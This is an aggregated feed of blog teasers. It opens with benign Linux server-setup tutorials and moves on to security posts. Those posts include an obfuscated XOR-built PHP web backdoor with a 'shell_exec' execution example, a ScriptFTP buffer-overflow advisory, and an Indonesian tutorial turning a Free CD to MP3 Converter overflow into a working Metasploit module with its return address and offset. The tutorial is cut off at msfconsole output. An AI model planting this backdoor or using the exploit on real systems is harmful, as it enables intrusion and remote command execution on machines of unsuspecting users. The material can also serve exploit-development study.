<table align="left" cellpadding="0" cellspacing="0" width="149" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-even" src="http://static.howtoforge.com/images/teaser/nginx.gif" width="146" height="40" alt="" /></td></tr></table><p><b>Installing Nginx With PHP5 (And PHP-FPM) And MySQL Support (LEMP) On Ubuntu 12.04 LTS</b></p>

<p>Nginx (pronounced 
"engine x") is a free, open-source, high-performance HTTP server. Nginx 
is known for its stability, rich feature set, simple configuration, and 
low resource consumption. This tutorial shows how you can install Nginx 
on an Ubuntu 12.04 LTS server with PHP5 support (through PHP-FPM) and MySQL support (LEMP = <b>L</b>inux + nginx (pronounced "<b>e</b>ngine x") + <b>M</b>ySQL + <b>P</b>HP).</p>


title: How To Set Up Apache2 With mod_fcgid And PHP5 On CentOS 6.2
source: http://www.howtoforge.com/how-to-set-up-apache2-with-mod_fcgid-and-php5-on-centos-6.2
author: Anonymous
description:
<table align="left" cellpadding="0" cellspacing="0" width="45" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-odd" src="http://static.howtoforge.com/images/teaser/centos.gif" width="42" height="40" alt="" /></td></tr></table><p><b>How To Set Up Apache2 With mod_fcgid And PHP5 On CentOS 6.2</b></p>

<p>This tutorial describes how you can install Apache2 with mod_fcgid 
and PHP5 on CentOS 6.2. mod_fcgid is a compatible alternative to the 
older mod_fastcgi. It lets you execute PHP scripts with the permissions of their owners 
instead of the Apache user.</p>


title: Installing Lighttpd With PHP5 (PHP-FPM) And MySQL Support On Ubuntu 12.04
source: http://www.howtoforge.com/installing-lighttpd-with-php5-php-fpm-and-mysql-support-on-ubuntu-12.04
author: Anonymous
description:
<table align="left" cellpadding="0" cellspacing="0" width="45" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-even" src="http://static.howtoforge.com/images/teaser/lighttpd.gif" width="42" height="40" alt="" /></td></tr></table><p><b>Installing Lighttpd With PHP5 (PHP-FPM) And MySQL Support On Ubuntu 12.04</b></p>

<p>Lighttpd is a secure, fast, standards-compliant web server designed 
for speed-critical environments. This tutorial shows how you can install
 Lighttpd on an Ubuntu 12.04 server with PHP5 support (through PHP-FPM) 
and MySQL support. 

 PHP-FPM (FastCGI Process Manager) is an alternative PHP FastCGI 
implementation with some additional features useful for sites of any 
size, especially busier sites. I use PHP-FPM in this tutorial instead of
 Lighttpd's spawn-fcgi.</p>


title: Virtual Hosting With PureFTPd And MySQL (Incl. Quota And Bandwidth Management) On Debian Squeeze
author: Anonymous
source:
http://www.howtoforge.com/virtual-hosting-with-pureftpd-and-mysql-incl-quota-and-bandwidth-management-on-debian-squeeze

description:
<table align="left" cellpadding="0" cellspacing="0" width="36" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-odd" src="http://static.howtoforge.com/images/teaser/debian.gif" width="33" height="40" alt="" /></td></tr></table><p><b>Virtual Hosting With PureFTPd And MySQL (Incl. Quota And Bandwidth Management) On Debian Squeeze</b></p>

<p>This document describes how to install a PureFTPd server that uses 
virtual users from a MySQL database instead of real system users. This 
is much more performant and allows to have thousands of ftp users on a 
single machine. In addition to that I will show the use of quota and 
upload/download bandwidth limits with this setup. Passwords will be 
stored encrypted as MD5 strings in the database.</p>


title: The Perfect Desktop - Linux Mint 13 (Maya)
source: http://www.howtoforge.com/the-perfect-desktop-linux-mint-13-maya
author: Anonymous
description:
<table align="left" cellpadding="0" cellspacing="0" width="47" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-even" src="http://static.howtoforge.com/images/teaser/linux_mint.gif" width="44" height="40" alt="" /></td></tr></table><p><b>The Perfect Desktop - Linux Mint 13 (Maya)</b></p>
<p>This tutorial shows how you can set up a Linux Mint 13 (Maya)
desktop that is a full-fledged replacement for a Windows desktop, i.e.
that has all the software that people need to do the things they do on
their Windows desktops. The advantages are clear: you get a secure
system without DRM restrictions that works even on old hardware, and
the best thing is: all software comes free of charge.</p>


author: Anonymous
title:
High-Availability Storage With GlusterFS 3.0.x On Debian Squeeze - Automatic File Replication Across Two Storage Servers

source:
http://www.howtoforge.com/high-availability-storage-with-glusterfs-3.0.x-on-debian-squeeze-automatic-file-replication-across-two-storage-servers

description:
<table align="left" cellpadding="0" cellspacing="0" width="36" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-odd" src="http://static.howtoforge.com/images/teaser/debian.gif" width="33" height="40" alt="" /></td></tr></table><p><b>High-Availability Storage  With GlusterFS 3.0.x On Debian Squeeze - 
Automatic File Replication (Mirror) Across Two Storage Servers</b></p>

<p>This tutorial shows how to set up a high-availability storage with two storage servers (Debian Squeeze) that use GlusterFS.
 Each storage server will be a mirror of the other storage server, and 
files will be replicated automatically across both storage servers. The 
client system (Debian Squeeze as well) will be able to access the 
storage as if it was a local filesystem. 
  
GlusterFS is a clustered file-system capable of scaling to several 
peta-bytes. It aggregates various storage bricks over Infiniband RDMA or
 TCP/IP interconnect into one large parallel network file system. 
Storage bricks can be made of any commodity hardware such as x86_64 
servers with SATA-II RAID and Infiniband HBA.</p>


title: Your Cloud, Your Data, Your Way! - ownCloud 4.0 On CentOS 6.2 + nginx + PostgreSQL
source: http://www.howtoforge.com/your-cloud-your-data-your-way-owncloud-4.0-nginx-postgresql-on-centos-6.2
author: Anonymous
description:
<table align="left" cellpadding="0" cellspacing="0" width="45" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-even" src="http://static.howtoforge.com/images/teaser/centos.gif" width="42" height="40" alt="" /></td></tr></table><p><b>Your Cloud, Your Data, Your Way! - ownCloud 4.0 On CentOS 6.2 + nginx + PostgreSQL</b></p>

<p>This document describes how to install and setup ownCloud by "ownCloud 
community" on a CentOS 6.2 based webserver from tar package on a nginx 
and php-fpm with postgreSQL database as backend. For other distributions
 there might be minor changes as to the software prerequisites 
installation procedures. This guide will not only help install the 
product, but also understand why certain points are done the way they 
are done (this is most helpful for users with little or no knowledge 
who, like me some time ago, have only started using Linux).</p>


title: Creating An NFS-Like Standalone Storage Server With GlusterFS 3.2.x On Ubuntu 12.04
author: Anonymous
source:
http://www.howtoforge.com/creating-an-nfs-like-standalone-storage-server-with-glusterfs-3.2.x-on-ubuntu-12.04

description:
<table align="left" cellpadding="0" cellspacing="0" width="42" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-odd" src="http://static.howtoforge.com/images/teaser/ubuntu.gif" width="39" height="40" alt="" /></td></tr></table>
<p><b>Creating An NFS-Like Standalone Storage Server With GlusterFS 3.2.x On Ubuntu 12.04</b></p>

<p>This tutorial shows how to set up a standalone storage server on Ubuntu 12.04. Instead of NFS, I will use GlusterFS
 here. The client system will be able to access the storage as if it was
 a local filesystem. GlusterFS is a clustered file-system capable of scaling to several 
peta-bytes. It aggregates various storage bricks over Infiniband RDMA or
 TCP/IP interconnect into one large parallel network file system. 
Storage bricks can be made of any commodity hardware such as x86_64 
servers with SATA-II RAID and Infiniband HBA.</p>


title: How Hackers Target and Hack Your Site
source: http://ninja-sec.com/index.php/targeting-hacking-wordpress-site/
author: mohaab
description:
<p><span style="color: #ff0000;"><strong><br />
</strong></span></p>
<p><img class="alignnone" title="x" src="http://sysmox.com/blog/wp-content/uploads/2011/11/wordpress-attack.jpg" alt="" width="492" height="325" /></p>
<p><strong><span style="color: #ff0000;">The answer to this question may be difficult to determine, simply because there are so many ways to hack a site. Our aim in this article to show you the techniques most used by hackers in targeting and hacking your site! </span></strong></p>
<p>&nbsp;</p>
<p><span style="color: #00ff00;"><strong>Read Full Article at infosec</strong></span></p>
<p>&nbsp;</p>
<p><strong><span style="color: #ff0000;"><a href="http://resources.infosecinstitute.com/hacking-a-wordpress-site/"><span style="color: #ff0000;">http://resources.infosecinstitute.com/hacking-a-wordpress-site/</span></a></span></strong></p>


title: Exploiting SQL Injection , bypassing restricted/limited shell then rooting Linux machine
source: http://ninja-sec.com/index.php/kioptrix4-level-1-3-detailed-walk-through-ninja-sec-com/
author: mohaab
description:
<p><a href="http://ninja-sec.com/index.php/kioptrix4-level-1-3-detailed-walk-through-ninja-sec-com/"><em>Click here to view the embedded video.</em></a></p>
<p>&nbsp;</p>
<p><span style="font-size: medium;">This is a detailed video with voice ( <span style="color: #339966;">english</span> ) shows you how to find and exploit sql injection in custome php application and then jailbreak Limited shell and use MySQLD to get root ( <span style="color: #339966;">No Local Kernel Exploit</span> )</span></p>
<p><span style="font-size: medium;"> hope you enjoy it and learn from it</span><br />
<span style="font-size: medium; color: #ff0000;"> Ninja-Sec Team</span><br />
<span style="font-size: medium; color: #ff0000;"> Ninja-Sec.com</span></p>


title: killing windows server 2008 R2 with MS12-020
source: http://ninja-sec.com/index.php/killing-windows-server-2008-r2-ms12-020/
author: mohaab
description:
<p style="text-align: left;"><span style="font-size: medium; color: #00ff00;"><strong>in this video we will see how we can exploit ms12-020 to kill a windows server 2008 R2 data center and inspect the traffic with wireshark</strong></span></p>
<p style="text-align: left;">
<p><a href="http://ninja-sec.com/index.php/killing-windows-server-2008-r2-ms12-020/"><em>Click here to view the embedded video.</em></a></p>


title: Chinese hackers like my article !
source: http://ninja-sec.com/index.php/chinese-hackers-article/
author: mohaab
description:
<p><span style="font-size: medium; color: #ff0000;">yes, this is totally right</span></p>
<p>&nbsp;</p>
<p><span style="font-size: medium; color: #000000;">i wrote an article for <a href="http://resources.infosecinstitute.com/hacking-a-wordpress-site/"><span style="color: #000000;">http://resources.infosecinstitute.com</span></a></span></p>
<p><span style="font-size: medium; color: #000000;">you can read the full article</span></p>
<p><span style="font-size: medium; color: #000000;"> http://resources.infosecinstitute.com/hacking-a-wordpress-site/</span></p>
<p><span style="font-size: medium; color: #000000;">i made a quick search about my article and i found this :</span></p>
<p>&nbsp;</p>
<p><span style="font-size: medium; color: #000000;">http://input.lofter.com/post/75707_c8863</span></p>
<p><span style="font-size: medium; color: #000000;">http://xijue.sinaapp.com/?p=26</span></p>
<p><span style="font-size: medium; color: #000000;">http://www.xssxss.com/fuck/727.xss</span></p>
<p><span style="font-size: medium; color: #000000;">http://www.myhack58.com/Article/html/3/8/2012/32969.htm</span></p>
<p><span style="font-size: medium; color: #000000;">http://www.mujj.org/106.html</span></p>
<p><span style="font-size: medium; color: #000000;">http://bbs.isbase.net/thread-67924-1-1.html</span></p>
<p><span style="font-size: medium; color: #000000;">http://www.linux88.info/Fedora/201202184.html</span></p>
<p><span style="font-size: medium; color: #000000;">http://www.zzfhw.com/wenzhang/html/fangheishow-31118.html</span></p>
<p><span style="font-size: medium; color: #000000;">http://www.4shell.org/archives/2104.html</span></p>
<p><span style="font-size: medium; color: #000000;">http://hi.baidu.com/x_xijue/blog/item/3b130d18d73f601c5baf5336.html</span></p>
<p><span style="font-size: medium; color: #000000;">http://www.chnhack.com/Security/2012/0130/40741.html</span></p>
<p><span style="font-size: medium; color: #000000;">http://www.utubon.com/engineer</span></p>
<p><span style="font-size: medium; color: #000000;">http://gov.com.im/art_design/2012/0129/wordpress.html</span></p>
<p>&nbsp;</p>
<p><span style="font-size: medium; color: #000000;">and may be more !</span></p>
<p><span style="font-size: medium; color: #ffffff;"><span style="color: #000000;">they also translated it in</span>to Chinese language <img src='http://ninja-sec.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span></p>
<p><span style="font-size: medium; color: #ff0000;">from china with love</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>


title: How To Hack Windows 7 And Bypass Firewall And Kaspersky Antivirus
source: http://ninja-sec.com/index.php/hack-windows-7-bypass-firewall-kaspersky-antivirus/
author: mohaab
description:
<p><span style="font-size: medium;">Ever tried to hack a windows 7 ?, Ever tired of bypassing antiviurs?, Then this is the tutorial for you.</span></p>
<p><span style="font-size: medium;">Ok, so you want to know how to attack a fully secured and protected windows 7 sp1 x64 with all security defenses working and running ( UAC,DEP,ASLR,EMET,etc.)</span></p>
<p>&nbsp;</p>
<p><span style="font-size: medium;">Read the full article </span></p>
<p><span style="color: #ff0000;"><strong><span style="font-size: medium;"><a href="http://www.rafayhackingarticles.net/2012/04/hack-windows-7-and-bypass-antivirus.html  ">http://www.rafayhackingarticles.net/2012/04/hack-windows-7-and-bypass-antivirus.html</a></span></strong></span></p>
<p>&nbsp;</p>
<p><strong><span style="font-size: medium; color: #ff0000;">Enjoy</span></strong></p>
<p>&nbsp;</p>


title: Ninja-Sec Challenge You !
source: http://ninja-sec.com/index.php/ninja-sec-challenge-2/
author: mohaab
description:
<p><span style="font-size: medium;">Hi Everyone !</span></p>
<p>&nbsp;</p>
<p><span style="font-size: medium;">We have a Great Challenge for you !</span></p>
<p><span style="color: #ff0000; font-size: medium;">Here is The Challenge :</span></p>
<p>&nbsp;</p>
<p><span style="font-size: medium;">104 116 116 112 58 47 47 100 108 46 100 114 111 112 98 111 120 46 99 111 109 47 117 47 49 48 55 54 49 55 48 48 47 123 99 104 97 108 108 101 110 103 101 46 122 105 112 44 99 104 97 108 108 101 110 103 101 46 98 122 50 44 97 100 109 105 110 46 116 120 116 125</span></p>
<p>&nbsp;</p>
<p><span style="font-size: medium;">Try to solve it using your tools,scripts or mind , try EVERYTHING</span></p>
<p>&nbsp;</p>
<p><span style="font-size: medium;">The Prize : 15 Days Access to Ninja-Sec Online Penetration Testing Lab With over Real World Targets and 3 Different Networks</span></p>
<p><span style="font-size: medium;">Not Interested in our lab ?</span></p>
<p><span style="font-size: medium;">just try to solve it for fun and profit :)</span></p>
<p>&nbsp;</p>
<p><span style="font-size: medium;">Send Solution to : <span style="color: #ff0000;">NinjaSec007(^_^)gmail.com</span></span></p>
<p><span style="font-size: medium;">(^_^) = @</span></p>
<p><span style="font-size: medium;">Good Luck !</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>


title: ScriptFTP <=3.3 Remote Buffer Overflow Exploit (0day)
source: http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/
author: modpr0be
description:
<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a title="ScriptFTP" href="http://www.scriptftp.com" target="_blank">ScriptFTP</a> client is vulnerable against remote buffer overflow vulnerability. The condition is triggered while processing LIST  FTP command with excessive length.</p>
<p>The vulnerability is confirmed in version 3.3. Other version may also be affected.</p>
<h4><span style="color: #ff6600;">Software Description</span></h4>
<p>ScriptFTP is a FTP client designed to automate file transfers. It follows the commands written on a <a href="http://www.scriptftp.com/examples.php">text file</a> (also called <a href="http://www.scriptftp.com/examples.php">script file</a>) and makes the uploads or downloads <strong>automatically</strong>. Writing the script file is <strong>very easy</strong>, take a look at the <a href="http://www.scriptftp.com/examples.php">script samples</a> section.</p>
<h4><span style="color: #ff6600;">Crash/Exploit Information</span></h4>
<p>ScriptFTP follows the commands written on a text file (also called script file). Specifically, processing ScriptFTP with text file/script file contains command GETLIST or GETFILE  of 3000 or more bytes of data may trigger an exception within the client, causing it to crash and lead us to stack overflow.</p>
<h4><span style="color: #ff6600;">Proof of Concept</span></h4>
<p>See the POC <a title="ScriptFTP BOF" href="http://www.digital-echidna.org/scriptftp-bof-poc.py.txt" target="_blank">here</a> and the script to <a title="ScriptFTP Script Generator" href="http://www.digital-echidna.org/scriptftp-script-generator.py.txt" target="_blank">generate ScriptFTP script here</a>. Or if you were too lazy to generate the script, I already <a title="ScriptFTP ftp script file" href="http://www.digital-echidna.org/explo.ftp.txt" target="_blank">prepared it for you</a>, just change the IP address.</p>
<h4><span style="color: #ff6600;">Fix and Update</span></h4>
<p>Vendor contacted and responded immediately after our first contact. They are planning to major rewrite but until now, no further info received from them. Do not connect to untrusted FTP server. Fix or update is not available yet, we will update this post if the vendor fix the bug.</p>
<p>Vendor Contact Log:<br />
01/21/2011: Bug found<br />
01/22/2011: Vendor contacted<br />
01/24/2011: Vendor replied<br />
03/07/2011: Update status to vendor<br />
04/06/2011: Vendor received POC<br />
05/17/2011: No further info, 1st reminder sent.<br />
09/11/2011: No further info, 2nd reminder sent.<br />
09/20/2011: No response, advisory released.</p>
<h4><span style="color: #ff6600;"><strong>POC Video</strong></span></h4>
<p><span style="text-align:center; display: block;"><a href="http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/"><img src="http://img.youtube.com/vi/GuNZPFBEPxk/2.jpg" alt="" /></a></span></p>
<div class="shr-publisher-1143"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fscriptftp-3-3-remote-buffer-overflow-exploit-0day%2F' data-shr_title='ScriptFTP+%26%2360%3B%26%2361%3B3.3+Remote+Buffer+Overflow+Exploit+%280day%29'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fscriptftp-3-3-remote-buffer-overflow-exploit-0day%2F' data-shr_title='ScriptFTP+%26%2360%3B%26%2361%3B3.3+Remote+Buffer+Overflow+Exploit+%280day%29'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fscriptftp-3-3-remote-buffer-overflow-exploit-0day%2F' data-shr_title='ScriptFTP+%26%2360%3B%26%2361%3B3.3+Remote+Buffer+Overflow+Exploit+%280day%29'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->


title: Non-alphanumeric PHP Simple Backdoor
source: http://www.digital-echidna.org/2011/09/non-alphanumeric-php-simple-backdoor/
author: otoy
description:
<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>After read and learn about <a href="http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/" target="_blank">non-alphanumeric code in php</a>, i decide to write my own non-alphanumeric PHP simple backdoor.</p>
<pre class="brush: php">&lt;?
$_="{"; #XOR char
$_=($_^"&lt;").($_^"&gt;").($_^"/"); #XOR = GET
?&gt;
&lt;?=${'_'.$_}["_"](${'_'.$_}["__"]);?&gt;</pre>
<p>well, it&#8217;s a quite simple program, it&#8217;s just a XOR function over strings. By XOR-ing &#8220;<strong>&lt;&gt;/</strong>&#8221; with &#8220;<strong>{</strong>&#8221; we have &#8220;<strong>GET</strong>&#8221; string as the result.<br />
put the result in one-liner code execution and done.</p>
<p>Another version with &#8220;<strong>&lt;pre&gt;</strong>&#8221; tag.</p>
<pre class="brush: php">&lt;?
$_="{"; #XOR char
$__=($_^"+").($_^")").($_^"&gt;"); #XOR = PRE
$_=($_^"&lt;").($_^"&gt;").($_^"/"); #XOR = GET
?&gt;
&lt;?="&lt;".$__."&gt;".${'_'.$_}["_"](${'_'.$_}["__"]);?&gt;</pre>
<div id='stb-box-5983' class='stb-info_box' ><strong>execution:</strong><br />
blabla.php?_=shell_exec&amp;__=id</div>
<div class="shr-publisher-1424"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fnon-alphanumeric-php-simple-backdoor%2F' data-shr_title='Non-alphanumeric+PHP+Simple+Backdoor'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fnon-alphanumeric-php-simple-backdoor%2F' data-shr_title='Non-alphanumeric+PHP+Simple+Backdoor'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fnon-alphanumeric-php-simple-backdoor%2F' data-shr_title='Non-alphanumeric+PHP+Simple+Backdoor'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->


title: Porting Your Exploit to Metasploit
source: http://www.digital-echidna.org/2011/09/porting-your-exploit-to-metasploit/
author: modpr0be
description:
<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://www.metasploit.com"><img class="alignleft size-medium wp-image-1452" title="Metasploit" src="http://www.digital-echidna.org/wp-content/uploads/2011/09/metasploit-logo-300x197.png" alt="" width="240" height="158" /></a>Beberapa waktu yang lalu saya udah memberikan <a title="Exploit Development Basic Stack-based Overflow" href="http://www.scribd.com/doc/50645626/Exploit-Development-Basic-Stack-based-Overflow" target="_blank">tutorial basic exploit development (direct return technique)</a> dan <a title="SEH Based Stack Overflow – The Basic" href="http://www.digital-echidna.org/2011/09/seh-based-stack-overflow-the-basic/">exploit development berbasis SEH</a>. Sekarang mari kita porting exploit tersebut ke Metasploit Framework agar exploit tersebut semakin reliable dan bisa menggunakan macam-macam payload, fitur-fitur canggih yang ada di Metasploit.</p>
<p>Kita akan meng-konversi exploit yang pertama, yaitu Free CD to MP3 Converter. Sebelum itu, kita kumpulkan poin-poin penting yang membuat exploit tersebut berjalan dengan baik, seperti berikut:</p>
<pre class="brush: python">junk = "\x41" * 4112                   # jumlah sampah yang dikirim
eip = "\x91\x3b\x43\x00"               # 0x00463b91 FFE4 JMP ESP at cdextract.exe
nops = "\x90" * 16
espdata = "\x90" * (5000 - len(junk+eip+nops)</pre>
<p>Dulu saya melakukan proses exploit Free CD to MP3 Converter pada sistem Windows XP SP3 versi NIST FDCC (Federal Desktop Core Configuration), tapi kali ini saya melakukannya pada sistem Windows XP SP3 versi umum, seharusnya ini tidak akan menjadi masalah berarti karena alamat JMP ESP yang saya gunakan kali ini berasal dari module cdextract.exe.<span id="more-1406"></span></p>
<p>Kita akan coba langsung meng-konversi exploit Free CD to MP3 Converter ke format Metasploit, dan akan saya jelaskan bagian-bagian yang penting. Karena proses eksploitasi Free CD to MP3 Converter menggunakan sebuah file wav (sehingga dikategorikan sebagai file format exploit), maka kita akan menggunakan salah satu exploit dari Metasploit sebagai template, yaitu a-pdf_wav_to_mp3.rb terdapat pada direktori <code>/opt/framework/msf3/modules/exploits/windows/fileformat/</code></p>
<pre class="brush: ruby">##
# $Id: a-pdf_wav_to_mp3.rb 12196 2011-04-01 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote         Rank = NormalRanking         include Msf::Exploit::FILEFORMAT         include Msf::Exploit::Remote::Seh         def initialize(info = {})                 super(update_info(info,                         'Name'           =&gt; 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
                        'Description'    =&gt; %q{
                                        This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
                                the application is used to import a specially crafted m3u file, a buffer overflow occurs
                                allowing arbitrary code execution.
                        },
                        'License'        =&gt; MSF_LICENSE,
                        'Author'         =&gt;
                                [
                                        'd4rk-h4ck3r', # Original Exploit
                                        'Dr_IDE',      # SEH Exploit
                                        'dookie'       # MSF Module
                                ],
                        'Version'        =&gt; '$Revision: 12196 $',
                        'References'     =&gt;
                                [
                                        [ 'OSVDB', '67241' ],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/14676/' ],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/14681/' ]
                                ],
                        'DefaultOptions' =&gt;
                                {
                                        'EXITFUNC' =&gt; 'seh',
                                        'DisablePayloadHandler' =&gt; 'true',
                                },
                        'Payload'        =&gt;
                                {
                                        'Space'    =&gt; 600,
                                        'BadChars' =&gt; "\x00\x0a",
                                        'StackAdjustment' =&gt; -3500
                                },
                        'Platform' =&gt; 'win',
                        'Targets'        =&gt;
                                [
                                        [ 'Windows Universal', { 'Ret' =&gt; 0x0047265c, 'Offset' =&gt; 4132 } ],     # p/p/r in wavtomp3.exe
                                ],
                        'Privileged'     =&gt; false,
                        'DisclosureDate' =&gt; 'Aug 17 2010',
                        'DefaultTarget'  =&gt; 0))

                register_options(
                        [
                                OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
                        ], self.class)

        end

        def exploit

                sploit = rand_text_alpha_upper(target['Offset'])
                sploit &lt;&lt; generate_seh_payload(target.ret)

                print_status("Creating '#{datastore['FILENAME']}' file ...")

                file_create(sploit)

        end

end</pre>
<p>Bagian yang perlu diperhatikan adalah:</p>
<ul>
<li>bagian <code>include Msf::Exploit::FILEFORMAT</code>, menandakan bahwa exploit ini termasuk dalam fileformat exploit.</li>
<li>bagian Payload, yang berisi space, badchars, dll</li>
<li>bagian Targets, yang berisi offset</li>
<li>bagian <code>def exploit</code>, yang berisi urutan eksploitasi.</li>
</ul>
<p>Mari kita gabungkan informasi yang kita miliki diawal kedalam contoh exploit yang sudah ada.</p>
<pre class="brush: ruby">require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote         Rank = NormalRanking         include Msf::Exploit::FILEFORMAT         def initialize(info = {})                 super(update_info(info,                         'Name'           =&gt; 'Free CD to MP3 Converter 3.1 Buffer Overflow',
                        'Description'    =&gt; %q{
                                        This module exploits a buffer overflow in Free CD to MP3 Converter 3.1. When
                                the application is used to import a specially crafted wav file, a buffer overflow occurs
                                allowing arbitrary code execution.
                        },
                        'License'        =&gt; MSF_LICENSE,
                        'Author'         =&gt;
                                [
                                        'C4SS!0 G0M3S', # Original Exploit
                                        'modpr0be'       # MSF Module
                                ],
                        'References'     =&gt;
                                [
                                        [ 'OSVDB', '69116' ],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/15480/' ],
                                ],
                        'DefaultOptions' =&gt;
                                {
                                        'EXITFUNC' =&gt; 'process',
                                        'DisablePayloadHandler' =&gt; 'true',
                                },
                        'Payload'        =&gt;
                                {
                                        'Space'    =&gt; 800,
                                        'BadChars' =&gt; "\x00\x0a\x1a\x0f",
                                        'StackAdjustment' =&gt; -3500
                                },
                        'Platform' =&gt; 'win',
                        'Targets'        =&gt;
                                [
                                        [ 'Windows XP Universal', { 'Ret' =&gt; 0x00463B91, 'Offset' =&gt; 4112 } ],    # jmp esp in cdextract.exe
                                ],
                        'Privileged'     =&gt; false,
                        'DisclosureDate' =&gt; 'Nov 10 2010',
                        'DefaultTarget'  =&gt; 0))

                register_options(
                        [
                                OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
                        ], self.class)
        end

        def exploit
                sploit = rand_text_alpha(target['Offset'])
                sploit &lt;&lt; [target.ret].pack('V')
                sploit &lt;&lt; make_nops(32)
                sploit &lt;&lt; payload.encoded
                sploit &lt;&lt; make_nops(5000 - (payload.encoded.length))
                print_status("Creating '#{datastore['FILENAME']}' file ...")
                file_create(sploit)
        end
end</pre>
<p>Pada bagian Target, saya mengisi dengan Windows XP Universal, lalu dengan informasi berikut:</p>
<pre class="brush: ruby"> 'Targets'        =&gt;
                                [
                                        [ 'Windows XP Universal', { 'Ret' =&gt; 0x00463B91, 'Offset' =&gt; 4112 } ],</pre>
<p><code>Ret =&gt; 0x00463B91</code> adalah perintah JMP ESP yang akan menimpa EIP.<br />
<code>Offset =&gt; 4112</code> adalah jumlah offset yang dicapai untuk menimpa EIP <img src='http://www.digital-echidna.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Lalu bagian paling penting:</p>
<pre class="brush: ruby">def exploit
     sploit = rand_text_alpha(target['Offset'])
     sploit &lt;&lt; [target.ret].pack('V')
     sploit &lt;&lt; make_nops(32)
     sploit &lt;&lt; payload.encoded
     sploit &lt;&lt; make_nops(5000 - (payload.encoded.length))
     print_status("Creating '#{datastore['FILENAME']}' file ...")
     file_create(sploit)
end</pre>
<p>Bagian <code>rand_text_alpha(target['Offset']</code> adalah function dari Metasploit untuk men-generate sejumlah karakter alphanumeric sesuai dengan <strong>Offset</strong> yang telah kita tentukan di option <strong>Target</strong> sebelumnya.<br />
Setelah offset memenuhi stack dengan jumlah 4112 bytes, maka kita juga sudah tahu bahwa setelah itu EIP akan tertimpa sebanyak 4 bytes, sehingga option berikutnya <code>[target.ret].pack('V')</code> memanggil alamat <code>Ret =&gt; 0x00463B91</code> yang telah kita tentukan sebelumnya dan segera menimpa EIP.<br />
Setelah itu <code>make_nops(32)</code> akan menciptakan NOPSled sebanyak 32 bytes agar menjadi &#8216;landasan kosong&#8217; sebelum mencapai shellcode.<br />
Bagian berikutnya, <code>payload.encoded</code> adalah function dari Metasploit untuk men-generate payload yang biasa kita gunakan pada Metasploit (misal: <code>set payload windows/shell_bind_tcp</code>). Terakhir, saya menambahkan Nopsled untuk melengkapi buffer yang saya kirim sebelumnya sebanyak 5000 bytes. Lalu function <code>file_create(sploit)</code> menulis variable sploit dan menciptakan file msf.wav.</p>
<p>Simpan file diatas dengan nama <strong>freecdmp3_wav.rb</strong> dan copy ke folder <code>/opt/framework/msf3/modules/exploits/windows/fileformat/</code> agar dapat digunakan oleh Metasploit. Berikut penggunaannya pada msfconsole:</p>
<pre class="brush: ruby">       =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 738 exploits - 376 auxiliary - 82 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
       =[ svn r13774 updated yesterday (2011.09.22)

msf &gt; use exploit/windows/fileformat/freecdmp3_wav
msf  exploit(freecdmp3_wav) &gt; info

